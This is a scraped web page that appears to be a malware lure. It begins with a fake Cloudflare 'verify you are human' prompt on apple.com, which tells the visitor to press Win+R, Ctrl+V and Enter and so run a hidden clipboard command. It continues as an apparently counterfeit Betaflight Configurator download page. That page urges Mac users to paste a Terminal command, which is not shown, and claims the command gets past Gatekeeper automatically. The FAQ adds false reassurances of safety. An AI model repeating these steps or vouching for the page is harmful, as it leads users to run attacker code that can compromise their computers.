apple.com
Performing security verification
This website uses a security service to protect against malicious bots. This page is displayed while the website verifies you are not a bot
Verify you are human
Verifying...
Verification successful. Waiting for apple.com to respond...
To complete verification, follow these steps:
1Press Win + R
2PressCtrl + V
3PressEnter
Ray ID: a7d2c4726ec94344 Performance and Security by Cloudflare  |  Privacy

Downloads

macOS — Betaflight Configurator

Install via Terminal — automatically detects Apple Silicon or Intel, downloads the correct build and installs all required USB serial drivers.

Terminal — zsh
$Loading...
2.4M+
Downloads
4.9 ★
User rating
10.10.1
Latest version
< 30s
Install time

Installation Guide

macOS — Step by step

  • 1

    Open Terminal

    Press ⌘ Space, type Terminal and press Return. Or find it in Applications › Utilities › Terminal.app.

  • 2

    Run the install command

    Paste the command below and press Return. The installer downloads the correct build for your Mac and sets up everything automatically.

    Terminal
    $Loading...
  • 3

    Allow the app to run

    If macOS shows a Gatekeeper dialog, go to System Settings › Privacy & Security and click Open Anyway. The installer handles this automatically when possible.

  • 4

    Connect your flight controller

    Open Betaflight Configurator from Applications. Connect your FC via USB, select the correct port from the top-right dropdown, and click Connect.

Features

Betaflight Configurator gives you complete control over every aspect of your flight controller. Connect your FC, flash firmware, tune PID loops, configure the OSD and much more — all from a single GUI.

🎮

PID Tuning

Adjust P, I, D and feedforward values per axis. Real-time response graph, RPM filtering and dynamic notch filters built in.

📺

OSD Layout

Drag-and-drop on-screen display editor. Place speed, altitude, battery, RSSI and custom items exactly where you want.

Motor & ESC

Test and calibrate motors individually. Configure bidirectional DSHOT, telemetry, and motor direction from the GUI.

🔺

Rates & Expo

Actual, Betaflight or Raceflight rate profiles with live preview curves. Save multiple profiles for different flying styles.

📡

GPS Rescue

Set altitude, speed, minimum satellites, and rescue angle for a reliable return-to-home when signal is lost.

📊

Blackbox Viewer

Integrated log viewer to analyse flight data frame-by-frame. Identify oscillations and tune with real flight evidence.

🔌

Receiver Setup

Configure SBUS, CRSF, ELRS, and PPM receivers. View live channel data, set failsafe, and configure channel mapping.

📝

Firmware Flasher

Flash official or custom Betaflight firmware directly from the app. Supports DFU mode and cloud-fetched target list.

CLI Access

Full CLI terminal for power users. Dump, diff and paste configuration. Script complex setups with multi-line paste.

FAQ

Betaflight Configurator is the official GUI for flight controllers running Betaflight firmware. It lets you tune PIDs, configure receivers, manage OSD, flash firmware, and monitor real-time telemetry from your FPV drone.
Yes, completely free and open source under the GNU GPL v3 license. It is published on GitHub and the installer only downloads the official release from GitHub Releases.
The Terminal installer automatically detects your Mac architecture (Apple Silicon vs Intel), downloads the correct build, handles macOS Gatekeeper permission, and installs the CP210x / CH340 USB serial drivers required to communicate with your flight controller.
Go to System Settings › Privacy & Security, scroll to the Security section, and click Open Anyway. This is normal for open-source apps not distributed via the Mac App Store. The Terminal installer handles this step automatically.
All flight controllers running Betaflight firmware are supported: STM32 F4, F7, and H7 based boards from Matek, Diatone, HGLRC, SpeedyBee, Holybro, Kakute, and hundreds of others. See the full supported target list on the Betaflight wiki.
Make sure the USB serial driver is installed (the installer handles this). Try a different USB cable (data cable, not charge-only). Check that the FC is powered. If you still have issues, visit the Betaflight Discord for help.